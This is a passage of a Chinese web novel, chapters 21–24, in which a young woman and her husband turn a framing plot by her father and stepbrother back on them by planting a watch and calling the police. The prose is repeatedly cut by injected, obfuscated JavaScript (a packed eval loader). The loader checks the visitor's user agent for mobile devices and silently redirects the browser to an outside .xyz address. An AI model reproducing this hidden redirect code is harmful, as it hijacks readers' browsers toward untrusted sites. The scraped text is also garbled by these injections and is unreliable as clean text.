l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369326|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲平安余光观察着窗帘缝隙外堂屋里的情况。 先前他注意到温志伟频频偷看南屋屋门,所以今早北哥和小苒就没锁门,特意给温志伟留这个机会。 机不可失时不再来,曲平安是真希望温志伟能抓住这次机会。 小苒说,温志伟想进她们屋,八成是要放点东西陷害她,现金或者贵重物品都有可能。 当然,也有可能是温志伟想偷东西,所以温苒提前杜绝了这种可能。 除了被褥衣服,旁的东西一样也没留,连暖水壶和水杯都挪到厨房这边来了,而厨房的门是锁死的。 翻了两页,曲平安忽然瞥到一个人影,来了! 他浑身一震,放下书猫低身子,神情严肃瞪大眼睛盯着那人。 人影不是别人,就是温志伟。 这毛小子鬼鬼祟祟地来到南屋门前,试探地拧了拧门把,结果咔一声,门竟然开了?! 温志伟心下狂喜,一溜烟儿蹿进了屋。 隔壁偷看的曲平安:“……” 咱就一点犹豫都没有吗? 千载难逢的机会,成败就在此一举,温志伟等了快半个月才等到,他怎么可能会犹豫? 多犹豫一秒都是对即将到手的大房子的不尊重! 结果没多会儿,曲平安就见温志伟骂骂咧咧出来,“一帮穷鬼!” 曲平安忍了忍,心说到底谁才是穷鬼?你现在住谁家房子你不知道啊? 他小苒妹子组一台收音机能赚十块!一个月抽空组上七八台都够上你爹一个六级钳工了!你一个吃白饭的你嫌谁穷呢? 曲平安心里庆幸,还好小苒料事如神,看温志伟这样子,八成是真打算顺点什么。 温志伟寻思,这俩总不能一点家底也没有,不然怎么舍得隔三差五就弄顿肉吃? 而且这几天他跟他爸打听过,温有良曾经是八级钳工,各地大建厂的时候常有单位请温有良去指导,出差费那可不老少。 这笔钱反正是没落到他爸手里,就只可能是他爸那个死了的前妻藏起来了,或者是交给了什么人。 就温苒这种死命往怀里扒拉东西生怕漏了一星半点的穷酸样,温志伟可以断定,那钱现在绝对是到了她手里! 正愁追何超梅缺钱呢,或许,温志伟眼神闪了闪,他可以空手套白狼? 21. 第 21 章 今天签到奖励很大方:一包梅菜干,一斤炸黄花鱼。 以及周签到和月签到满的两样奖励:一台风扇和一台烘干机。 照例黄花鱼三家分一分,梅干菜改天蒸肉吃。 风扇和烘干机就先不拿出来了,下半年到了鹏城可有大用处呢。 今天的奖励倒是给了温苒启发,厂里第一款产品卖收音机,那第二款不如就卖风扇吧?第三款就卖烘干机! 南方夏季湿热,这两样产品绝对不愁市场。 三样产品都是小家电,那个还看不到影子的工厂俨然在朝着家用电器的方向发展。 既然如此,干脆冰箱洗衣机空调都加入计划,这个厂子也差不多就是家电厂了。 两人边走边说,拐进了胡同区,高高低低的叫卖声不绝于耳。 改革开放后,政策允许个体户经营,长京市本就有随处可见的路边小摊儿,这之后更是如雨后春笋一般冒出来。 虽然个体户被人瞧不起,但耐不住收入可观。 这一路走回家,温苒就买了许多样小吃。 她尝了尝味道,剩下的都让霍骁北和曲平安分了。 曲平安两口一块油炸糕,他中午没吃这会儿是真饿。 “温志伟进了你们房间,应该是放了什么东西,然后他就出门了,到现在都没回来。” 本来还只是猜测,现在温苒是完全确定了。 她拽着霍骁北回屋,“走!去找找他放了什么。” 不管放了什么,既然进了她的口袋就别想拿出去。 必须给温志伟来个死无对证! 结果三个人把南屋翻了个底朝天,只找到了零零碎碎加起来的三十七块八毛外加几张票据。 温苒:“……” 曲平安直接口吐芬芳:“MD穷光蛋!” 霍骁北甚至点了点头,无声地表达了他的赞同,这是看不起谁呢? 温苒把钱票往兜里一揣,并顺手转移进系统背包,抬头说道:“咱们去鹏城前,就用这笔钱请大院邻居们吃顿饭!” 主动送来的,不要白不要! 霍骁北自然什么都听媳妇儿的。 曲平安也没意见,他甚至已经开始考虑到时候请谁不请谁,“我觉得别请后院何大爷家,他跟温师傅一看就是一伙的,上回一点忙没帮还跟那儿瞎搅和,他就不是个正经人!” 对此,温苒和霍骁北当然更没意见。 何德民可不止一次得罪过俩人,房子的事,还有每次见了温苒那让人恶心的眼神,霍骁北一件件都记在心里,早就预备离开前给他大的。 很好,赃款全部收缴,销赃的路子也有了。 但事情到这里才刚刚开始而已。 回到隔壁屋,温苒从行李里翻出一块手表。 对视一眼,霍骁北立时就明白了她的意思,转头把北屋的门锁撬了,把手表放了进去。 曲平安搁大门口望风,一边注意着院里动静,一边用余光看他北哥,他哥撬锁的动作真熟练啊,部队也教这个吗? 从撬锁到出来,这一切仅仅发生在两分钟内。 三个人转移到厨房,静静等待着待会儿的好戏开场。 ** 温志伟在外面溜达一圈,瞅着工厂下班的时间回了胡同。 想到马上要发生的事情他就一阵激动。 他都计划好了,趁这次机会把房子弄过来,还有温苒手上大笔的钱。 房子温志伟打算卖了,胡同里这些人对他们家意见大得很,绝对不能继续住在这里。卖了这里的房子,在别地儿重新买一处。 那笔钱他也有用处,一部分拿来置办结婚用的大件,一部分给何超梅做彩礼。 结婚以后何超梅就留在他爸妈跟前尽孝,他去跟着岳父办事,进商业局…… 畅想着美好的未来,温志伟进了大院门,没有停顿地进了中院门,快走进了西厢门,几乎是冲进了北屋的门。 厨房。 温苒和曲平安搁窗户边上探头探脑,一秒、两秒、三秒还不到,北屋敞开的门后,温志伟表情狰狞地冲了出来。 曲平安疑惑道:“他这会儿应该是慌张和生气才对,这怎么嘴角都快咧后脑勺去了?” 温苒扬起唇角,“我得赶紧笑够了,不然我怕待会儿跟他一个表情。” 温志伟因为马上可以把她赶走独占房子高兴,她也因为马上可以把温志伟赶走独占房子高兴啊! 嗖嗖的,温志伟冲去后院,喊来了刚下班的何德民,并且在回到中院时恰好碰到也下班回家的温宝昌。 很快,一大爷何德民就发话,召集大院里所有住户,开会! 而最先被通知的,自然是温苒和霍骁北。 无人注意到,曲平安此时悄悄离开,出了胡同撒丫子往派出所奔。 本次大院会议,地点在中院的大院子,与会人员是大院所有住户包括刚下了学的孩子,会议主题则是:温志伟准备给对象买手表和相机的钱今天丢了,怀疑是院儿里的人干的。 整个大院前院一户,就是曲平安家,中院两户,后院别看地方小人却是最多的,足足有四户! 几十来人听见钱丢了,先是一惊,紧接着又听怀疑是他们干的,立时就怒火三丈。 啥意思啊?他们搁厂里上一天班累得要命,回家饭都没顾上吃一口就被喊过来,还要怀疑他们偷钱? 有人口气很冲,“丢了不赶紧去找把我们都喊过来做什么?喊我们给你找啊?” 何德民脸一拉,“能找着还叫你们做什么?肯定是到处都找过了没找着,才怀疑是别人偷的,话都听不清还搁那逼逼赖赖,一天天尽显着你了!” 何德民在院里本来就没啥威信,上回宋爱民一家的事后更是让派出所所长和街道办主任训成了孙子,院里人就更不服他来当一大爷了。 这次又赶上温家的事,他一听就觉着是个树威信的好机会。 奈何其他人不买账,刚才说话的人压根不鸟他,语气十分不耐烦:“我们一家上班的上班上学的上学,压根就没来过前头,钱是丢的还是偷的都跟我们没关系,还有事没?没事我们先走了!” 说完不等人回应,他带着老娘媳妇儿和孩子转身就走了。 何德民那个脸色难看的呀,铁青泛着黑,跟猪肝儿差不多了。 偏偏那人之后,后院剩下另外两户用同样的理由离席,抱怨的话压低了声音还是能让院里的人听到: “一天天屁事真多!” “就会拿鸡毛当令箭,有事不见人,没 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她很想请问,什么样的手表和相机三十七块八就能买到?是温志伟疯了还是她们仨把南屋翻个底朝天还有东西漏了没发现? 温志伟不着痕迹瞥了一眼温苒,看向对门潘奶奶,“午前我出门的时候钱还在,一个下午不在钱就没了,不知道老太太看没看到外人进出?” 潘老太清清嗓子,摇头,温志伟面上一喜,却听她说道:“我是一直在家待着,但我都在屋里,外头来没来人我不清楚。再说既然是做贼来着,肯定是悄默声儿的,我年纪大了耳背,一星半点儿的动静我听不见。” 温志伟脸上的喜色消失,皱着眉语气不大好,“您真没听见?” 潘老太诧异,“哟你小子这话说的,你这是不信老婆子啊?” 温宝昌开口给儿子说话,“不是,潘大娘您别多想,他孩子嘛丢了那么多钱着急,您别跟他一般见识。” 潘老太翻白眼,却不再说话了。 当她老婆子傻啊,这父子俩一唱一和的,保准又是冲小苒去的! 温志伟又看向前院赵老太,不等他出声问呢,赵老太就摆手:“我老婆子也帮不上什么忙,我也搁屋里待着呢,没瞧见外头来没来人,我看你还是去胡同里问问吧,保不齐就有人看见了。” 温志伟皱紧了眉,他看明白了,对门和前院是向着温苒那边儿的。 本来想借着别人的口把嫌疑引向温苒的,可现在这情况,都没一个人配合。 温志伟看了看他爸,示意他来。 温宝昌犹犹豫豫的,其实不太想开口。 温苒那妮子回回能把他气死,人前人后都没给过他好脸,是一点没把他爹,他是真怕在这么多人面前下不来台。 可他不问,难道要让儿子来? 想起继子宋爱民的下场,温宝昌觉得那还是他来吧,至少他占着身份呢温苒不能拿他怎么样。 飞快瞥了沉默旁观的温苒,温宝昌沉声点名:“小苒,你和你男人在家,你看没看见咱家进了外人?” 这话好笑,她怎么回都是个错。 温苒笑了笑,就是不如这两人所愿,非要反着来:“有啊!” 22. 第 22 章 父子两个拧眉,真的假的? 温志伟看了眼温宝昌,追问:“那你看清是谁来了?为什么来咱家?你们见了外人就不知道拦一下?” 温苒:“……” 就很无语,到底怎么个事你俩心里不清楚啊你还怪上我了? 她故作诧异,“你不知道?” “你在我家住了这么长时间,你不知道自己是个外人?” 这话一出,好悬没给父子俩鼻子气歪了。 温志伟没忍住,拔高声音:“温苒!” 温宝昌紧跟着:“你弟弟丢了钱正着急呢,你看见就看见了没看见就没看见,你耍人好玩儿是吧?” 温苒笑眯眯的,一点也不气,但她说出来的话却总是能把人气死。 “我看你们父子两个才是耍人好玩,通机厂马上要分房认购,没有大几千下不来,温宝昌同志还有闲钱给儿子买手表和相机。” 她看着众人,迅速算了一笔账:“一台相机最便宜的型号也要七八百吧?手表便宜点也要一百多块呢!温宝昌同志你工资也不高,听胡同里邻居说这些年也没见你们省吃俭用,竟然还有这么多钱呐?” 温宝昌心里一咯噔,生怕他偷摸兼职的事情被捅出来,连忙反驳:“你胡说什么?谁跟你说那是我给的,那是志伟和人借的,不然钱丢了他能这么着急?” 他说着,一边赶紧给温志伟使眼色。 温志伟马上附和,“对!我是和同学借的!” 他阴阳怪气:“我们可不比你们有钱,顿顿吃得上大鱼大肉,还买了收音机,原来乡下这么有钱?原来部队工资这么高?” 温苒十分努力,才抑制住了翻白眼的冲动,“闫春枝同志生你的时候把你脑子连着胎盘一起扔了?乡下有钱?部队有钱?吃个肉就叫有钱,那你都能花一千多来块买相机买手表算什么?” 温志伟涨红了脸,攥拳瞪着她,“你!你才把脑子扔了!你说这么多有的没的浪费时间,我看我那些钱就是你拿的!” 温宝昌配合儿子,眼神怀疑地打量着温苒,但话里意思却已经给定了性:“咱院里到底来没来外人往胡同里一问就清楚了,你拿了就赶紧交出来,给志伟道个歉这事就算过去了,不然我绝对要报警!反正我这个当爹的话你是一点不听,正好,让警察好好教育教育你!” 霍骁北瞥了父子俩一眼,轻飘飘的,却让对上视线的两人后背一凉。 霍骁北开口:“那就报警!正好,我和温苒结婚时我送她的手表也丢了,报警让警察一起来找。” 一直旁观的曲胜利终于说话了,“什么时候丢的?有没有标记?屋里屋外的都找过了吗?” 霍骁北点了点头,“最近几天才发现丢了,屋里屋外都找过,没找到,是桃花牌的手表,手表后盖夹了一张我手写的纸条。” 温宝昌皱起眉,有种不大好的预感,就和上次算计霍骁北的时候一样。 但他紧接着就安慰自己,只是巧合罢了,南屋有志伟藏的‘买手表和相机的钱’,北屋可没有什么桃花牌手表。 想法冒出来的瞬间,他听到温苒嗓音清脆地喊道:“来了!” 什么来了?温宝昌和在场众人齐齐扭头,顺着温苒的目光看向了院门。 是老熟人! 是曲平安领来了派出所所长和上次的小警察! 不堪回首的经历涌上心头,温宝昌和何德民下意识缩了缩脖子。 人群让开一条路,派出所所长拉着脸,背着手,在中间站定。 “刚接到报案,温苒同志丢失一块手表,我过来看看情况。” 现在看这情况,好像不简单啊! 所长看了眼何德民,又看了眼温宝昌,心里犯嘀咕,肯定是这两个老小子又不老实了。 温宝昌和何德民抄着手低着头,努力降低存在感。 曲胜利心想,一点不怪别人不服气何德民,这老小子遇事只知道躲,还得是他来。 曲胜利简单把情况说了下,“所长正好你来,我们这儿还有个丢钱的,怀疑是咱院里人偷的,也打算报警。” 所长点了点头,“是温宝昌同志丢了钱?” 你瞅瞅,才来一次就知道谁才是蔫坏儿搞事儿的事儿头子的。 温宝昌忙回道:“不是我,是我儿子,我儿子打算给他对象买手表和相机,钱是借他同学的,今天午前还在,出了趟门再回来钱就不见了。” 温志伟补充:“我出门前把钱票锁在柜子里了,回来一看柜子门开着,钱也没了。” 所长问:“那门呢?你屋门锁着没有?” 温志伟顿了下,目光飘了飘,道:“我出去的时候锁了,回来的时候……没注意,可能是锁了。” 温志伟有点心眼,知道没把话说死。 锁了门,但钱丢了。 所长听完情况,带小年轻去实地查看北屋的情况。 “门锁没有被撬的痕迹,假如这个小偷是从正门进的,那一定是个老手。” 所长说出了自己的判断。 撬了锁从正门进的霍骁北镇定自若,仿佛不是在说他。 再看窗户,所长屋前屋后转了一圈,说道:“没有新脚印和其他痕迹,看来不是从窗户进的。” 温志伟余光看着温苒和霍骁北,说道:“会不会对方有钥匙?” 所长随口回道:“有可能。” 所长看向老同事,“胜利,麻烦你找人问问,咱胡同今天来没来外人?” 胡同里处处是眼线,出现生面孔不可能没人知道。 曲胜利带上小年轻出去,问一圈回来摇头,“没有。” 他望向温苒的眼神带上了担忧。 温志伟激动地攥起拳头,看了他爸一眼。 没有外人,那就是院里人,其他人该上班上班该上学上学,只有温苒和霍骁北有时间有嫌疑! 温宝昌完全将刚才不妙的预感抛在了脑后,心中涌上期待,还是儿子聪明,按儿子的办法,不仅可能拿回房子,还可能从温苒手上掏出一笔钱! 所长的推测和温志伟想的一般无二。 首先,没有外人进胡同,小偷人选就锁定在了这条胡同里。 其次,对方是撬门进去的,撬锁的本事很有一手。 再一个,所长问温志伟:“你手里有钱这件事,都跟谁说过?” 温志伟懵了下,脑筋飞转,快速编了个说法:“就在屋里,和我爸说过,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397777|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……但是,那会儿没留心,万一有人偷听我也不清楚。” 温志伟其实更想直接说,钱就是温苒‘偷’的!而且南屋就有‘证据’! 但他不能说,他只能飞快往温苒的位置瞟一眼暗示。 温苒:“……” 先让让他,待会儿有他哭都找不着地儿的时候。 温宝昌动了动嘴唇,期期艾艾地问:“所长,您看,您觉得可能是谁偷的钱?这钱又能去哪儿呢?” 都到这个程度了,所长心说你这不明知故问么,没有外人也不是院里其他人,合着就是内贼呗? 所长咂摸了下,瞅这父子俩丢老多钱也不是很着急的样子,八成今天的事有猫腻,就跟上回似的,这老小子搞那一出就是冲他女婿去的,这回么,呵,还是冲他姑娘去的。 温家这档子事所长还是比较清楚的,基层工作么,就管这一片儿,谁家的情况都得弄明白了才好搞工作。 所长想了想,回温宝昌:“情况有点复杂,你家这边丢钱,那边也丢了东西。” 他抬起下巴朝温苒的方向,“你姑娘丢了块手表,可能是一个小偷干的。” 有没有小偷温宝昌和温志伟还不清楚吗? 但这是个机会,温志伟马上开口:“手表也不一定是丢了,可能是落在什么犄角旮旯里了,要不所长带咱们帮忙进屋找找?” 只要进了屋,他放的东西就会被翻出来,温苒就等着吃官司吧! 所长看向温苒,温苒装模作样地犹豫片刻,才回道:“温志伟同志说的有道理,我不介意大家进屋帮我找手表。” 听见这话,温志伟心跳得飞起,成了! 但紧接着,温苒话头一转:“那这样说来,温志伟同志的钱也不一定是被偷了,还可能是掉在角落里没发现,想来你也不介意大家进屋帮你找东西吧?” 戏谑的目光扫过来,温志伟表情僵在脸上,“不用了,我记得很清楚,我的钱是锁在了柜子里,不是落在什么地方了。” 霍骁北不放过他,语调沉稳:“你可能是记错了,你都不记得回来的时候门有没有锁,钱到底放在哪里记错也很正常。” 曲平安附和:“对对对!” 曲胜利也道:“人多力量大,大家一起找,这么多双眼睛呢,肯定能找着!” 所长:“……” 曲老弟你还副所呢……现场那是能让这么多人一起进的吗?那不破坏的不成样子了? 潘老太也开始睁眼说瞎话,“我看啊把各屋都翻一翻吧,这一家人天天进这屋进那屋的,东西落哪儿了真说不好。” 呵呵,别人不清楚她就住对门还不清楚吗?南北屋那叫一个泾渭分明,别说串门了,话都不说。 但既然小苒想搜北屋,她不帮一把说不过去。 所长垂眼,行叭!做基层工作的,还是得尊重老百姓的想法,院里人都说搜,那就搜! 大家都同意,温宝昌和温志伟也不好强硬地说不行,最主要说了也不算。 大院管理就是如此,少数服从多数。 不过温志伟盘算着,得要先搜南屋才行,搜出来东西就不用搜北屋了。 反正北屋是肯定没有什么桃花牌手表的。 23. 第 23 章 温志伟信心满满,温志伟底气十足,温志伟抢先开口:“先搜……” “先找北屋吧!” 清脆嗓音打断并插入进来,“手表一百来块当然比不上一千块钱,是吧?” 潘老太和赵老太点头,“那可不!先找北屋吧,咱都进去帮忙!” 所长和曲胜利对视一眼,转身朝屋里去,“走吧!一起找!” 温志伟跟着进了屋,站在北屋门口脸色不大好看,虽然知道不会搜出来什么,但总感觉低了对方一头。 屋里,不是所有人都进来了,本来地方就不算特别大,人一多就显得乱糟糟的。 只有所长、曲胜利、曲胜利媳妇儿、潘老太和那个小警察,何德民这个一大爷倒是躲外头去了。 北屋沿窗一张炕,炕上靠北面墙摆着一排柜子,靠南面墙是一摞被褥。 紧挨着炕入门的位置一个衣架,上头挂了几件衣服。 地上东西拉拉杂杂的,一张四方桌并几条凳子、炉子、木架子、架子上摆着鞋子脸盆、角落里一垛蜂窝煤…… 屋里几个人低头仔细翻找着,外面人盯着就当监督了。 温宝昌站在儿子身边,先前那种不妙的预感再次涌上来,他下意识扭头去找温苒的身影想看看她的反应,这时一道惊呼响起,“这是——” 众人齐齐将目光移过去,只见年轻小片儿警手里拿着一块手表,表情都空白了。 何家一个儿媳震惊地瞪大了眼睛,脱口而出:“不会是桃花牌的吧?” 她甚至下意识往温苒的方向扭了过去。 温苒装作不知情的样子惊讶,“应该不可能吧?桃花牌手表是秦北省的牌子,咱们长京市可没有卖的。” 何德民狠狠剜了一眼儿媳,就你有嘴是吧。 他还想让温宝昌帮忙把正院房子弄到手呢,肯定不能把人得罪了,于是赶忙开口:“肯定不是桃花牌的!宝昌老弟怎么说也是六级工,他家的手表牌子都是咱们长京市产的红星牌!” 温宝昌没有回应这话,他的目光穿过重重阻碍,死死盯着年轻小警察拿着的手表,那种不妙的预感几乎要冲出身体来了。 温志伟没有注意到他爸不同寻常的反应,他嗤笑一声,撸起袖子露出手腕,“我家只用红星牌的手表,从来没有什么桃花牌!” 什么桃花牌,一块有一百块钱没有? 温苒抿了抿嘴角,这可是你自己说的。 屋里几个人都凑到了年轻小警察身边,所长拿过那块手表看了看,神色古怪,然后交给了曲胜利。 曲胜利接过来一看,表情震惊又夹杂着不敢置信。 曲平安靠着门框,脖子伸得老长催促:“这手表有啥问题啊?” 他娘横他一眼,“咱几个正确认呢,你催催催催命呢!” 几个人传来传去,都确认之后,所长抬头,视线在门外那群人身上转了一圈,才沉声开口:“是桃花牌手表。” 那种不妙的预感成真,温宝昌脑子嗡一声炸开。 父子俩个齐齐失声大喊:“不可能!” 两人脸色难看,争先恐后冲上前夺过手表,温宝昌翻过来一看,手表背壳上有一朵桃花图案,图案下‘桃花’两个字清清楚楚显示了手表的牌子。 温志伟不敢置信,“怎么可能?” 温宝昌眼珠顿顿地动了动,找到人群中那个身影,表情阴沉发狠,“是你!是你把手表放进来的!” 温志伟听见这话,顺着他爸的视线看过去,一瞬间全部都明白了,“是你!你想把我们赶走!贱人!” 话音未落,旁边一耳刮子呼过来,曲平安他娘骂道:“小兔崽子嘴巴给老娘放干净点!” 曲平安呱呱给他娘鼓掌。 温苒和霍骁北这时候终于挤到前面来,温苒笑着道谢:“谢谢大娘!” 曲平安他娘摆手,“不算啥!” 温志伟捂着一边脸,耳朵嗡嗡的,他死死咬着牙关,尝到了满嘴血腥,才不至于将滔天的愤怒当场发泄出来。 温宝昌关切地抱着儿子,对曲平安他娘怒目而视:“泼妇!曲胜利你不管你媳妇儿我帮你管!我儿子是未来的大学生,打坏了你们赔得起吗?” 说着他抬脚就踹过去,霍骁北比他更快,一脚踢他膝窝上。 砰砰两声,父子两个温宝昌压着温志伟跪在地上。 曲平安反应慢了一步,见状松了口气的同时,加快过来挡在他娘前头,感激地看了他北哥一眼。 温宝昌涨红了脸,神色狼狈,“你们!你们欺人太甚!” “所长!所长你要为我们父子做主啊!我儿子做错了什么就凭白挨旁人一顿打这还有没有天理?仗着自己男人是派出所副所长,看谁不顺眼就打谁,这是恶霸!” 温苒嘴角抽了抽。 温宝昌说大娘是泼妇,她看温宝昌是泼男,你瞅这一套套的道德绑架使得多溜? 不等有人接温宝昌的茬儿,温苒捡起手表交给派出所所长,拉回话题:“麻烦所长检查一下,手表后盖打开以后有没有一张纸条,那是我爱人写的。” 所长是真烦了温宝昌父子,你儿子自己干了什么你不知道啊?你嫌别人手快你让自己儿子嘴别那么脏啊!还攀扯上他们派出所了? 他没搭理温宝昌,转头和几人打开手表后盖,果然发现了一张纸条。 所长念出了纸条上的内容:“霍骁北送温苒,于11月23。” 以防万一,他还让霍骁北当场重新写了一遍,字迹与纸条上的一般无二。 可以确定了,北屋翻出来的这块桃花牌手表,就是温苒丢失的那块! 客厅里,听到信儿捧着饭碗过来看热闹的胡同邻居们两眼放光,妈耶,温宝昌偷他姑娘的手表?! 缩在角落里的何德民忽然打了个摆子,暗道一声失策,转身溜了。 北屋里父子两个叫嚣着自己是冤枉的,还指着温苒大吼:“是她把手表放进这屋的!她就是故意想赶我们走!” 门外看热闹的街坊们听见这话,哄笑一片。 “哎呀妈呀,这房子本来就是人小苒的,想赶你们走直接就赶了,还用得着这么破费啊?” “我听说本来进你们屋是为了找钱,手表是不小心翻出来的,这你们都能抵赖?那被抓进去的小偷不冤死了?” “往后谁要偷了东西被抓现行都不管用了,都得跟你们一样学着死不承认,还说是人家主人故意的,故意啥啊?故意给你们送东西?可真好意思哈?!” 温宝昌和温志伟被说得哑口无言,脸色青青白白的来回变换。 可天地良心!他们是冤枉的啊!谁知道那手表是怎么进了他们屋的? 温志伟记得清清楚楚,他一直防着对门,每次都把门锁死了才会出门的! 才不管这父子俩如何费解, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14407507|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温苒开始了表演。 她脸色苍白,神情受伤,不敢置信,身体晃了晃倒在霍骁北怀里,“都是我的错!” 霍骁北环住媳妇儿的肩膀,稳稳当当地让她靠在自己身上,低头温声安慰:“不是你的错。” 听见这话,温苒把头埋在他胸膛里,肩膀抖了抖,疑似崩溃啜泣。 曲平安看得目瞪口呆,不会吧?小苒真哭了?应该不能吧? 温苒再抬头,露出一双通红的杏眼,“所长,曲伯伯,手表的事跟我爸没关系,是在温志伟过来之后才发生的,我怀疑……” 温志伟不敢置信,“你放——” 霍骁北一脚踢过去,把他未出口的话踢走了,温志伟摔在地上,大脑一片空白,疼得直冒冷汗。 温宝昌扑过去,急切关心:“志伟!儿子你没事儿吧?” 接下来的话不适合温苒来说,霍骁北神色冷峻散发着寒意,肃声道:“手表当初是花九十八块钱买的,这个金额应该足以立案,所长,劳烦您了。” 劳烦?劳烦什么?当然是把温志伟抓起来啊! 偷盗可是大罪,这个数额还不低,高低得判几年呢! 这年头有了案底,那这辈子就彻底完蛋! 温宝昌一下子就崩溃了,低吼着朝霍骁北扑过去。 霍骁北带着媳妇儿一个转身闪开,温宝昌扑空,撞进了蜂窝煤堆里。 霍骁北看了眼曲平安,又看了眼温志伟。 曲平安瞬间会意,拉着小警察和他爸上前,三人薅起温志伟就往出跑。 温志伟倒是想反抗,但他是真疼,疼得一点都使不上力。 他回头求助:“爸!爸救我!不是我拿的我没偷她们的手表!” 温宝昌都撞懵了,眼冒金星,还愣在煤堆儿里呢。 所长一看这情况连忙跟上,生怕跑慢了就会被温宝昌缠上似的。 围观街坊们层层往外散,让出了一条路。 霍骁北带着温苒跟在后面一起出去,人群乌央乌央地随着一起挪动。 等温宝昌回过神来,房子都空了。 他急吼吼跑出去拦,“你们放下志伟!不是志伟干的!志伟有手表干啥要偷别人的?再说还有南屋没搜呢说不定偷钱的就是他们呢!” 哦对了,还有这事呢。 所长看看已经在手人赃并获的温志伟,再想想后头的大麻烦温宝昌,这要是折返回去,温志伟就不容易再带出来了,于是他果断让人去请徐主任。 至于他么,先把人带回所里看管起来。 温志伟听见他爸的声音,激动得眼泪都出来了,挣扎着往后扭,“爸!爸你救我!我不想进去!” 所长催促,“赶紧的,咱们快点,回头赶过来还能帮徐主任的忙。” 街道办徐主任正搁家吃饭呢,没吃两口就被拽过来。 一问,好嘛,这还搜上屋了? 再一看,更好嘛,这还是老熟人,咋又是你温宝昌同志?一天天屁事可真多! 派出所所长带人搜北屋,人赃并获。 街道办徐主任点了胡同里几个街坊搜南屋,啥也没搜出来。 温宝昌不相信,他冲进去一顿乱翻,桌椅都推倒了,被褥扯开棉花都翻出来了,结果还是啥也没有。 他神色癫狂,一把一把往外掏棉花,扯着嗓子大吼:“不可能!不可能没有!怎么可能没有呢?!” 24. 第 24 章 再不敢相信,温宝昌把被褥里的棉花掏空了,也没见着温志伟跟他说的有记号的钱和票。 温宝昌呼哧呼哧喘着粗气,“我不信!这屋没有,一定是他们藏到别的屋去了!还有两个房间没搜呢!” 街坊们都沉默了,暗道这老小子怕是疯魔了,心肝咋就那么毒呢,有良大爷真是看走眼了,小苒也忒是可怜。 温苒躲在霍骁北怀里,不时抖几下肩膀,表现她的柔弱可怜无助。 在邻居们眼里,她就是一个被生父无情伤害的可怜姑娘。 就是早就知道今儿这一遭真相的曲平安都被迷惑住了,现下那叫一个心疼他小苒妹子。 温宝昌坚持要搜,而且眼看他这精神状态有些不正常,不让他搜真不保证能干出什么糟心事来。 徐主任只好带人搜了中间俩屋子,结果当然啥都没有。 温宝昌又要求搜堂屋,堂屋能有啥?还是啥也没有! 温宝昌又又又要求,他要求搜他们北屋。 众人:“……” 温宝昌赤红着眼睛,脖子上青筋暴起,满脸通红冒着汗,就跟真要疯了似的。 大家也不敢拒绝,只能接着搜,最后也是什么都没有。 然后温宝昌就疯了,徐主任带人前头翻一遍,他后头跟着砸一遍,把好好一个家弄得满地狼藉,连下脚的地儿都没有。 徐主任饭都没吃几口早就累得前胸贴后背了,懒得陪他胡闹,转身就要走。 温苒包了小鱼干送给徐主任和今天帮忙的街坊,“今天的事麻烦徐姨了,您收下这个,我替我爸向您赔罪。” 徐主任接过纸包,叹气,“没事,你是个好孩子,你爸这人……唉,咱们都看在眼里,你们两口子也是遭罪,赶紧让他搬出去吧,不会有人说什么的。” 街坊们纷纷附和。 “小苒你可别心软啊,他这样瞧着可没把当你闺女,当你是仇人呢!” “虎毒还不食子呢,温宝昌真是……以后有他后悔的时候!” “善有善报恶有恶报,不是不报时候未到!我看啊,马上他这报应就到了!” 曲平安去送街坊们,温苒和霍骁北转身进屋。 没了外人,温苒也就不用演了。 她嗓音清冷,高声道:“谈谈?” 温宝昌摔凳子的姿势顿住,缓缓转身,表情已不见癫狂。 哦,他也是装的。 温宝昌扔掉凳子,眼神阴沉沉的,“放了你弟弟,你想要什么?” 温苒朗声回道:“你们搬出房子,我爷爷和我妈留下的工作,还有一千块钱!” 才三十几块怎么够,这父子俩真够抠搜的,三十几块说成一千怎么敢的? 不过既然都这么说了,那就拿出点实力看看吧! 一千块钱?她可真敢开这个口? 温宝昌一脚踹飞刚才扔掉的凳子,脸上的肉一抽一抽的,大吼着:“你怎么不去抢?你休想!” 温苒心想,抢哪有直接要来得快? 得亏是她早有准备,不然今天在她屋里搜出东西来,哪怕只是三十几块钱,这老东西都比敢她胃口还大,房子、工作、现金…… 一千块钱算什么?温宝昌什么不敢要?多少不敢要? 温苒瞥他一眼,态度平静,语气可有可无:“那好吧,就让温志伟去坐牢,他之前陷害我的账还没算呢,我是不介意。” 温宝昌眼前一黑,坐牢志伟这一辈子就毁了! “我现在就去外头揭穿你的真面目,你心思恶毒,陷害你弟弟,还反过来威胁老子给你一千块钱!” 温苒:“?” 温苒木着脸,“你尽管去说,看谁会信你?” 你自己在外面什么名声你不知道吗? 听见这话,温宝昌气得又踹飞一条凳子腿。 他现在纯粹是破罐子里破摔了,知道房子拿不回来,索性就一通打砸全给毁了,反正以后不是他住。 温苒语气轻飘飘的,“你砸坏东西的赔偿另算。” 温宝昌神色一僵,恼羞成怒:“逆女!当初就不该让你生下来!” 